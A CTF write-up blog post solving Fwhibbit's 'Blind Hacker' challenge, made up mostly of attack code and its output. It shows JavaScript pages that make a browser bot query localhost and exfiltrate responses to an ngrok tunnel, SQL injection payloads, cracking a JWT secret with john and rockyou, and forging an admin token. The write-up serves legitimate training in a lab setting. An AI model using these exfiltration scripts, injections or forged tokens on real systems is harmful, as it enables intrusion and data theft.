Fwhibbit CTR (CTF): Solving Blind Hacker
TL;DR
This post is the next one of the solutions for the challenges I’ve done for Fwhibbit’s CTF. Go to the first post solving “Mike’s Dungeon” to see how to solve it.
DISCLAIMER
I have no degree in computer science, programming, cybersecurity… Mistakes can appear (and they will) so please keep it in mind. (If any, I’d thank you for contacting me via Telegram or Twitter) :D
Challenge
Challenge information:
Fast Solution (No explanation)
In this section, Im going to leave here the raw requests that had to be done to complete the challenge. If you want a explanation about it, scroll down!
Explained solution
First stage
First of all, we face a telegram bot:
/start
Welcome to the Blind Hacker Bot
Send me your website and I will be opening it to test for vulnerabilities for 10 seconds.
(Example) /scan URL
Having read this, we can try to set up a server to receive the connection and see what are we facing. For this kind of challenges, I like using Ngrok tunneling it with burp to propperly see the requests done.
$ ngrok http 8081
This will forward the connections to the tunel ngrok gives you, to your localhost:8081 in this case. This way, we can configure Burpsuite to see the traffic and send back the data to the actual web server.
Example
Webserver’s index.html
<html>
<script>
first = new XMLHttpRequest();
first.open("POST", "NGROK-TUNNEL");
first.send("POST-DATA-TRY");
</script>
</html>
Triggering the browser:
/scan NGROK-TUNNEL/index.html
First request fetching index.html
GET /index.html HTTP/1.1
Host: NGROK-TUNNEL
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.129 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close
Second request meanwhile executing the “injected” javascript.
POST / HTTP/1.1
Host: NGROK-TUNNEL
Content-Length: 13
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.129 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: http://NGROK-TUNNEL/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close
POST-DATA-TRY
Now we can exfiltrate the data of the response by making a POST request to our server with the requestText from the first request as the body.
Let’s begin to see what can be done accessing localhost.
HTML content
<html>
<script>
first = new XMLHttpRequest();
first.open("GET", "http://localhost/index.php");
first.onreadystatechange = function () {
if (first.readyState === XMLHttpRequest.DONE) {
second = new XMLHttpRequest();
second.open("POST", "http://NGROK-TUNNEL/exfiltration");
second.send(first.responseText);
}
}
first.send();
</script>
</html>
In this case I’m targeting /index.php because otherwise, index.html will be targeted (I’m using the same web server for hosting the challenge and the solution).
Response
POST /exfiltration HTTP/1.1
Host: NGROK-TUNNEL
Content-Length: 30
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.129 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: http://NGROK-TUNNEL/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close
indextoken param not supplied.
As it is talking about a parameter, we could think about a GET parameter called “indextoken”, so let’s try adding it randomly to pass isset($_GET['indextoken'])
.
HTML content
<html>
<script>
first = new XMLHttpRequest();
first.open("GET", "http://localhost/index.php?indextoken=whatever");
first.onreadystatechange = function () {
if (first.readyState === XMLHttpRequest.DONE) {
second = new XMLHttpRequest();
second.open("POST", "NGROK-TUNNEL/exfiltration");
second.send(first.responseText);
}
}
first.send();
</script>
</html>
Response
POST /exfiltration HTTP/1.1
Host: NGROK-TUNNEL
Content-Length: 38
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.129 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: http://NGROK-TUNNEL/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close
Invalid token! Have you met token.php?
It seems we have to get a token from token.php to have an authentication to access. Let’s see what token.php give us.
HTML content
<html>
<script>
first = new XMLHttpRequest();
first.open("GET", "http://localhost/token.php");
first.onreadystatechange = function () {
if (first.readyState === XMLHttpRequest.DONE) {
second = new XMLHttpRequest();
second.open("POST", "NGROK-TUNNEL/exfiltration");
second.send(first.responseText);
}
}
first.send();
</script>
</html>
Response
POST /exfiltration HTTP/1.1
Host: fa79d7a6.ngrok.io
Content-Length: 56
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.129 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: NGROK-TUNNEL/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close
There you go -> tygpr4xVVELijwHB47QBLrHtQRh2opi6xrUEVYyk
We now get a 40 length set of characters randomly generated that will allow us to access index.php for 2 minutes. The database has an event to delete all the generated tokens after that period of time:
CREATE EVENT drop_indextokens ON SCHEDULE EVERY 2 MINUTE STARTS CURRENT_TIMESTAMP DO DELETE FROM indextokens;
So we should make an automatic generation of the token to get access to index every time we trigger the bot. Knowing that it is always 40 characters long, lots of methods can be used.
HTML content
<html>
<script>
first = new XMLHttpRequest();
first.open("GET", "http://localhost/token.php");
first.onreadystatechange = function () {
if (first.readyState === XMLHttpRequest.DONE) {
var token = first.responseText.substring(16);
second = new XMLHttpRequest();
second.open("POST", "NGROK-TUNNEL/exfiltration");
second.send("TOKEN: " + token);
}
}
first.send();
</script>
</html>
Response
POST /exfiltration HTTP/1.1
Host: fa79d7a6.ngrok.io
Content-Length: 47
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.129 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: NGROK-TUNNEL/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close
TOKEN: Z8kPw0fsTNwaAbDg8eZ3K8DVowCq3bG57UFvN7wE
Now, a third request will have to be done to:
- Get the token
- Submit a request with the token
- Get the responseText
HTML content
<html>
<script>
first = new XMLHttpRequest();
first.open("GET", "http://localhost/token.php");
first.onreadystatechange = function () {
if (first.readyState === XMLHttpRequest.DONE) {
var token = first.responseText.substring(16);
second = new XMLHttpRequest();
second.open("GET", "http://localhost/index.php?indextoken=" + token);
second.onreadystatechange = function() {
if (second.readyState === XMLHttpRequest.DONE) {
third = new XMLHttpRequest();
third.open("POST", "NGROK-TUNNEL/exfiltration");
third.send(second.responseText);
}
}
second.send();
}
}
first.send();
</script>
</html>
Response
POST /exfiltration HTTP/1.1
Host: fa79d7a6.ngrok.io
Content-Length: 612
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.129 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: NGROK-TUNNEL/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close
<html>
<h1> BLIND HACKER FORUM </h1>
<center>
<form method="post" action="" name="signin-form">
<div class="form-element">
<label>Username: </label>
<input type="text" name="username" id="username" required />
</div>
<br>
<div class="form-element">
<label>Password: </label>
<input type="password" name="password" id="password" required />
</div>
<br>
<button type="submit" name="login" value="login">Log In</button>
</form>
</center>
</html>
We have the source of the page! Now we can interact with it without having to deal with the token, as it is already automatised. It can be seen that there’s a login form with a username and password POST parameters. (A login one will be sent too when using a browser, but this time it is not requested on the backend)
Let’s try send some credentials.
HTML content
<html>
<script>
first = new XMLHttpRequest();
first.open("GET", "http://localhost/token.php");
first.onreadystatechange = function () {
if (first.readyState === XMLHttpRequest.DONE) {
var token = first.responseText.substring(16);
second = new XMLHttpRequest();
second.open("POST", "http://localhost/index.php?indextoken=" + token);
second.onreadystatechange = function() {
if (second.readyState === XMLHttpRequest.DONE) {
third = new XMLHttpRequest();
third.open("POST", "NGROK-TUNNEL/exfiltration");
third.send(second.responseText);
}
}
second.send("username=whatever&password=whatever");
}
}
first.send();
</script>
</html>
Response
POST /exfiltration HTTP/1.1
Host: fa79d7a6.ngrok.io
Content-Length: 612
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.129 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: NGROK-TUNNEL/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close
<html>
<h1> BLIND HACKER FORUM </h1>
<center>
<form method="post" action="" name="signin-form">
<div class="form-element">
<label>Username: </label>
<input type="text" name="username" id="username" required />
</div>
<br>
<div class="form-element">
<label>Password: </label>
<input type="password" name="password" id="password" required />
</div>
<br>
<button type="submit" name="login" value="login">Log In</button>
</form>
</center>
</html>
As you have seen, nothing happens. That could be intended, but the problem here is that an specific header must be sent for the server to know we are sending data.
second.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
HTML content
<html>
<script>
first = new XMLHttpRequest();
first.open("GET", "http://localhost/token.php");
first.onreadystatechange = function () {
if (first.readyState === XMLHttpRequest.DONE) {
var token = first.responseText.substring(16);
second = new XMLHttpRequest();
second.open("POST", "http://localhost/index.php?indextoken=" + token);
second.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
second.onreadystatechange = function() {
if (second.readyState === XMLHttpRequest.DONE) {
third = new XMLHttpRequest();
third.open("POST", "NGROK-TUNNEL/exfiltration");
third.send(second.responseText);
}
}
second.send("username=whatever&password=whatever");
}
}
first.send();
</script>
</html>
Response
POST /exfiltration HTTP/1.1
Host: fa79d7a6.ngrok.io
Content-Length: 767
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.129 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: NGROK-TUNNEL/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close
<html>
<h1> BLIND HACKER FORUM </h1>
<center>
<form method="post" action="" name="signin-form">
<div class="form-element">
<label>Username: </label>
<input type="text" name="username" id="username" required />
</div>
<br>
<div class="form-element">
<label>Password: </label>
<input type="password" name="password" id="password" required />
</div>
<br>
<button type="submit" name="login" value="login">Log In</button>
</form>
</center>
<p>Invalid username, email or password...</p>
<a href="https://tenor.com/view/negros-ataud-ataud-meme-negros-dance-coffin-squad-gif-16889809"></a>
</html>
Ups, it says invalid username, email or password… Despite sending just username and password, it has sent us another field, so maybe it is printing what it cannot find in the database. So let’s try a minimum SQL Injection payload to see whether our input is being sanitized or not.
HTML content
<html>
<script>
first = new XMLHttpRequest();
first.open("GET", "http://localhost/token.php");
first.onreadystatechange = function () {
if (first.readyState === XMLHttpRequest.DONE) {
var token = first.responseText.substring(16);
second = new XMLHttpRequest();
second.open("POST", "http://localhost/index.php?indextoken=" + token);
second.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
second.onreadystatechange = function() {
if (second.readyState === XMLHttpRequest.DONE) {
third = new XMLHttpRequest();
third.open("POST", "NGROK-TUNNEL/exfiltration");
third.send(second.responseText);
}
}
second.send("username=' OR 1=1 -- '&password=whatever");
}
}
first.send();
</script>
</html>
Response
POST /exfiltration HTTP/1.1
Host: fa79d7a6.ngrok.io
Content-Length: 695
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.129 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: NGROK-TUNNEL/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close
<html>
<h1> BLIND HACKER FORUM </h1>
<center>
<form method="post" action="" name="signin-form">
<div class="form-element">
<label>Username: </label>
<input type="text" name="username" id="username" required />
</div>
<br>
<div class="form-element">
<label>Password: </label>
<input type="password" name="password" id="password" required />
</div>
<br>
<button type="submit" name="login" value="login">Log In</button>
</form>
</center>
<a href="https://tenor.com/view/jesus-jesus-walk-yass-jesus-gif-14042558"></a>
</html>
Yay! The query is:
SELECT username, email, password FROM userinfo WHERE username = '$user' AND password = '$pwd';
And submiting our payload, it is converted to:
SELECT username, email, password FROM userinfo WHERE username = '' OR 1=1 -- '' AND password = 'whatever';
As you can see, only the username is being treated, and it returns true, so we will have to make some kind of time / error based injection. This can be automatised chaining sqlmap with flask serving dinamic content to the html file, or without sqlmap trying to guess the values like this:
SELECT username, email, password FROM userinfo WHERE username = '' OR username LIKE 'a%' -- '' AND password = 'whatever';
Where “a” is the character being tried to be in the first place of the username. This can be very tough if there’s no automation with flask serving dinamic content, or making a for loop in the js the browser executes.
This are the values that must be extracted before getting inside the second stage:
INSERT INTO `userinfo`(`username`, `email`, `password`) VALUES ('betauser','flag{sqli_is_l0v3_but_','letsputapass!');
INSERT INTO `userinfo`(`username`, `email`, `password`) VALUES ('auseryouarenotsearchingf0r','i@told.u','you4recrazy');
INSERT INTO `userinfo`(`username`, `email`, `password`) VALUES ('mike','mikedun@geo.on','giveitatryifyouhaventalready');
Submitting the first pair of credentials leads to this behaviour:
HTML content
<html>
<script>
first = new XMLHttpRequest();
first.open("GET", "http://localhost/token.php");
first.onreadystatechange = function () {
if (first.readyState === XMLHttpRequest.DONE) {
var token = first.responseText.substring(16);
second = new XMLHttpRequest();
second.open("POST", "http://localhost/index.php?indextoken=" + token);
second.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
second.onreadystatechange = function() {
if (second.readyState === XMLHttpRequest.DONE) {
third = new XMLHttpRequest();
third.open("POST", "NGROK-TUNNEL/exfiltration");
third.send(second.responseText);
}
}
second.send("username=betauser&password=letsputapass!");
}
}
first.send();
</script>
</html>
Response
POST /exfiltration HTTP/1.1
Host: NGROK-TUNNEL
Content-Length: 120
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.129 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: NGROK-TUNNEL/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close
index.php is deprecated, please go to the new forum located in other common port. At least you got a part of the flag ;)
Second stage
The other common port is 8080 and returns this:
HTML content
<html>
<script>
first = new XMLHttpRequest();
first.open("GET", "http://localhost:8080");
first.onreadystatechange = function () {
if (first.readyState === XMLHttpRequest.DONE) {
second = new XMLHttpRequest();
second.open("POST", "NGROK-TUNNEL/exfiltration");
second.send(first.responseText);
}
}
first.send();
</script>
</html>
Response
POST /exfiltration HTTP/1.1
Host: NGROK-TUNNEL
Content-Length: 194
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.129 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: NGROK-TUNNEL/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close
<html>
<h1> BLIND HACKER ACTUAL FORUM </h1>
<h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1>
</html>
Meet token.php and share your indextoken.
It seems we have to take the token from index.php again for this stage…
HTML content
<html>
<script>
first = new XMLHttpRequest();
first.open("GET", "http://localhost/token.php");
first.onreadystatechange = function () {
if (first.readyState === XMLHttpRequest.DONE) {
var token = first.responseText.substring(16);
second = new XMLHttpRequest();
second.open("GET", "http://localhost:8080/?indextoken=" + token);
second.onreadystatechange = function() {
if (second.readyState === XMLHttpRequest.DONE) {
third = new XMLHttpRequest();
third.open("POST", "NGROK-TUNNEL/exfiltration");
third.send(second.responseText);
}
}
second.send();
}
}
first.send();
</script>
</html>
Response
POST /exfiltration HTTP/1.1
Host: NGROK-TUNNEL
Content-Length: 191
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.129 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: NGROK-TUNNEL/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close
<html>
<h1> BLIND HACKER ACTUAL FORUM </h1>
<h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1>
</html>
Meet /token and share your forumtoken.
Ups, another token?
HTML content
<html>
<script>
first = new XMLHttpRequest();
first.open("GET", "http://localhost/token.php");
first.onreadystatechange = function () {
if (first.readyState === XMLHttpRequest.DONE) {
var token = first.responseText.substring(16);
second = new XMLHttpRequest();
second.open("GET", "http://localhost:8080/token");
second.onreadystatechange = function() {
if (second.readyState === XMLHttpRequest.DONE) {
third = new XMLHttpRequest();
third.open("POST", "NGROK-TUNNEL/exfiltration");
third.send(second.responseText);
}
}
second.send();
}
}
first.send();
</script>
</html>
Response
POST /exfiltration HTTP/1.1
Host: NGROK-TUNNEL
Content-Length: 228
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.129 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: NGROK-TUNNEL/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close
<html>
<h1> BLIND HACKER ACTUAL FORUM </h1>
<h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1>
</html>
There you go -> ybxamjkbtdmuedtigkpfhervezuqireboioilgvliamkjuqteeheyesffx
Let’s get the token to make the automation.
HTML content
<html>
<script>
first = new XMLHttpRequest();
first.open("GET", "http://localhost/token.php");
first.onreadystatechange = function () {
if (first.readyState === XMLHttpRequest.DONE) {
var firsttoken = first.responseText.substring(16);
second = new XMLHttpRequest();
second.open("GET", "http://localhost:8080/token");
second.onreadystatechange = function() {
if (second.readyState === XMLHttpRequest.DONE) {
var secondtoken = second.responseText.substring(170);
third = new XMLHttpRequest();
third.open("POST", "NGROK-TUNNEL/exfiltration");
third.send("SECONDTOKEN: " + secondtoken);
}
}
second.send();
}
}
first.send();
</script>
</html>
Response
POST /exfiltration HTTP/1.1
Host: NGROK-TUNNEL
Content-Length: 72
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.129 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: NGROK-TUNNEL/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close
SECONDTOKEN: cjmedaxyvqhosbrotmzntitkhgvrwmzrsqoqciflfzkhggyyifocnrlpwv
Now we can fetch the server with both of the tokens
HTML content
<html>
<script>
first = new XMLHttpRequest();
first.open("GET", "http://localhost/token.php");
first.onreadystatechange = function () {
if (first.readyState === XMLHttpRequest.DONE) {
var firsttoken = first.responseText.substring(16);
second = new XMLHttpRequest();
second.open("GET", "http://localhost:8080/token");
second.onreadystatechange = function() {
if (second.readyState === XMLHttpRequest.DONE) {
var secondtoken = second.responseText.substring(170);
third = new XMLHttpRequest();
third.open("GET", "http://localhost:8080/?indextoken=" + firsttoken + "&forumtoken=" + secondtoken);
third.onreadystatechange = function() {
if (third.readyState === XMLHttpRequest.DONE) {
fourth = new XMLHttpRequest();
fourth.open("POST", "NGROK-TUNNEL/exfiltration");
fourth.send(third.responseText);
}
}
third.send();
}
}
second.send();
}
}
first.send();
</script>
</html>
Response
POST /exfiltration HTTP/1.1
Host: NGROK-TUNNEL
Content-Length: 218
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.129 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: NGROK-TUNNEL/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close
<html>
<h1> BLIND HACKER ACTUAL FORUM </h1>
<h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1>
</html>
You were not authed, but I have just sent you a guest permission.
Having sent both of the tokens, it gives us another auth, but we cannot see anything in the text of the response of the query. What about checking the headers?
HTML content
<html>
<script>
first = new XMLHttpRequest();
first.open("GET", "http://localhost/token.php");
first.onreadystatechange = function () {
if (first.readyState === XMLHttpRequest.DONE) {
var firsttoken = first.responseText.substring(16);
second = new XMLHttpRequest();
second.open("GET", "http://localhost:8080/token");
second.onreadystatechange = function() {
if (second.readyState === XMLHttpRequest.DONE) {
var secondtoken = second.responseText.substring(170);
third = new XMLHttpRequest();
third.open("GET", "http://localhost:8080/?indextoken=" + firsttoken + "&forumtoken=" + secondtoken);
third.onreadystatechange = function() {
if (third.readyState === XMLHttpRequest.DONE) {
fourth = new XMLHttpRequest();
fourth.open("POST", "NGROK-TUNNEL/exfiltration");
fourth.send(third.getAllResponseHeaders());
}
}
third.send();
}
}
second.send();
}
}
first.send();
</script>
</html>
Response
POST /exfiltration HTTP/1.1
Host: NGROK-TUNNEL
Content-Length: 356
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.129 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: NGROK-TUNNEL/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close
content-length: 218
content-type: text/html; charset=utf-8
date: Thu, 30 Apr 2020 14:33:42 GMT
forum_auth: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEzMzciLCJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJoNHgwciIsImVtYWlsIjoiZ3Vlc3RAd2hlcmUuZXZlciIsImlzX2FkbWluIjoibm8ifQ.dpWu5YCBeeOBknVGhkPPCz0d30PFABcGIB0aEQEWg5o
server: Werkzeug/1.0.1 Python/3.8.2
The server has given us a headers called “forum_auth”, which seems to be a JWT Token.
Decoded JWT Token
{
"alg": "HS256",
"typ": "JWT"
}
{
"id": "1337",
"username": "guest",
"password": "h4x0r",
"email": "guest@where.ever",
"is_admin": "no"
}
Using HS256 algorithm to cipher: (Using jwt.io)
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload), secret
)
This type of cipher can be bruteforced with john and, as the server said, “Improved security, changed the engine to keep data and began to listen to rock & roll!
” the last words about rock & roll might refer to rockyou’s wordlist.
We can use this script to be able to make john to crack it.
$ python jwt2john.py "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEzMzciLCJ1c2VybmFtZSI6Imd1ZXN0IiwicGFzc3dvcmQiOiJoNHgwciIsImVtYWlsIjoiZ3Vlc3RAd2hlcmUuZXZlciIsImlzX2FkbWluIjoibm8ifQ.dpWu5YCBeeOBknVGhkPPCz0d30PFABcGIB0aEQEWg5o" > crack.me
$ john --wordlist=/usr/share/wordlists/rockyou.txt crack.me
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cookie (?)
1g 0:00:00:00 DONE (2020-04-30 16:53) 50.00g/s 409600p/s 409600c/s 409600C/s 123456..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed
“cookie” is the password used to cipher the jwt token, so let’s try creating ours and sending it through the same header.
This is the payload I will try in the JWT:
{
"id": "1",
"username": "admin",
"password": "admin",
"email": "admin@admin.com",
"is_admin": "yes"
}
We will have to use setRequestHeader().
HTML content
<html>
<script>
first = new XMLHttpRequest();
first.open("GET", "http://localhost/token.php");
first.onreadystatechange = function () {
if (first.readyState === XMLHttpRequest.DONE) {
var firsttoken = first.responseText.substring(16);
second = new XMLHttpRequest();
second.open("GET", "http://localhost:8080/token");
second.onreadystatechange = function() {
if (second.readyState === XMLHttpRequest.DONE) {
var secondtoken = second.responseText.substring(170);
third = new XMLHttpRequest();
third.open("GET", "http://localhost:8080/?indextoken=" + firsttoken + "&forumtoken=" + secondtoken);
third.setRequestHeader("forum_auth", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEiLCJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsImVtYWlsIjoiYWRtaW5AYWRtaW4uY29tIiwiaXNfYWRtaW4iOiJ5ZXMifQ.qPHpnblN5u3VKcPYRE6cSodDPaUGfADq-saXUP6EybQ");
third.onreadystatechange = function() {
if (third.readyState === XMLHttpRequest.DONE) {
fourth = new XMLHttpRequest();
fourth.open("POST", "NGROK-TUNNEL/exfiltration");
fourth.send(third.responseText);
}
}
third.send();
}
}
second.send();
}
}
first.send();
</script>
</html>
Response
POST /exfiltration HTTP/1.1
Host: NGROK-TUNNEL
Content-Length: 193
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.129 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: NGROK-TUNNEL/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close
<html>
<h1> BLIND HACKER ACTUAL FORUM </h1>
<h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1>
</html>
Go to /check to test your authorization.
We have to change from / to /check and see what happens.
HTML content
<html>
<script>
first = new XMLHttpRequest();
first.open("GET", "http://localhost/token.php");
first.onreadystatechange = function () {
if (first.readyState === XMLHttpRequest.DONE) {
var firsttoken = first.responseText.substring(16);
second = new XMLHttpRequest();
second.open("GET", "http://localhost:8080/token");
second.onreadystatechange = function() {
if (second.readyState === XMLHttpRequest.DONE) {
var secondtoken = second.responseText.substring(170);
third = new XMLHttpRequest();
third.open("GET", "http://localhost:8080/check?indextoken=" + firsttoken + "&forumtoken=" + secondtoken);
third.setRequestHeader("forum_auth", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEiLCJ1c2VybmFtZSI6Im> third.onreadystatechange = function() {
if (third.readyState === XMLHttpRequest.DONE) {
fourth = new XMLHttpRequest();
fourth.open("POST", "NGROK-TUNNEL/exfiltration");
fourth.send(third.responseText);
}
}
third.send();
}
}
second.send();
}
}
first.send();
</script>
</html>
Response
POST /exfiltration HTTP/1.1
Host: NGROK-TUNNEL
Content-Length: 382
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.129 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: NGROK-TUNNEL/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US
Connection: close
<html>
<h1> BLIND HACKER ACTUAL FORUM </h1>
<h1> Improved security, changed the engine to keep data and began to listen to rock & roll! </h1>
</html>
There was an error, please have a look *carefully* and check everything: SELECT username, password, email, is_admin FROM userinfo WHERE username = 'admin' AND password = 'admin' AND email = 'admin@admin.com' AND is_admin = 'yes'
Hmm, so we see the params we have set in the JWT Token reflected as a SQL query, so testing a bit, we can see there’s an error based SQL Injection based on the params we set on the token. This could be chained with sqlmap > flask > tg_bot -> flask -> sqlmap, or with a JS for loop.
This SQL Injection has some blacklisted params as the source says:
def blacklist(string):
chars = ["^", "$", ">", "<", "+", "LIKE", "like", "%"]
for char in chars:
string.replace(char, "")
return string
And the only parameter that is not being sanitized is is_admin
.
from shellescape import quote
[...]
decoded = jwt.decode(cookie, "cookie", algorithms = 'HS256')
username = quote(decoded['username'])
password = quote(decoded['password'])
email = quote(decoded['email'])
is_admin = decoded['is_admin']
So a request like this will work:
SELECT username, password, email, is_admin FROM userinfo WHERE username = 'guest' AND password = 'h4x0r' AND email = 'guest@where.ever' AND is_admin = 'no' OR username LIKE '________';
And theese are the values we have to fetch:
INSERT INTO userinfo (username, email, password, is_admin) VALUES ('betauser','p0stgr3s_1s_c00l3r_','letsputsomepwd!', 'no');
INSERT INTO userinfo (username, email, password, is_admin) VALUES ('auser','i@told.u','you4recrazy', '&_y0u_4re_');
INSERT INTO userinfo (username, email, password, is_admin) VALUES ('administrator','admin@domain.admin','admin_password', 'yes');
INSERT INTO userinfo (username, email, password, is_admin) VALUES ('guest','guest@where.ever','h4x0r', 'no');
For the last part of the flag, the created databases should be fetched.
CREATE DATABASE "4_gr34t_h4x0R!}";
SELECT datname FROM pg_database;
I hope you liked this post, and encourage you to give it a try at https://ctf.fwhibbit.es/register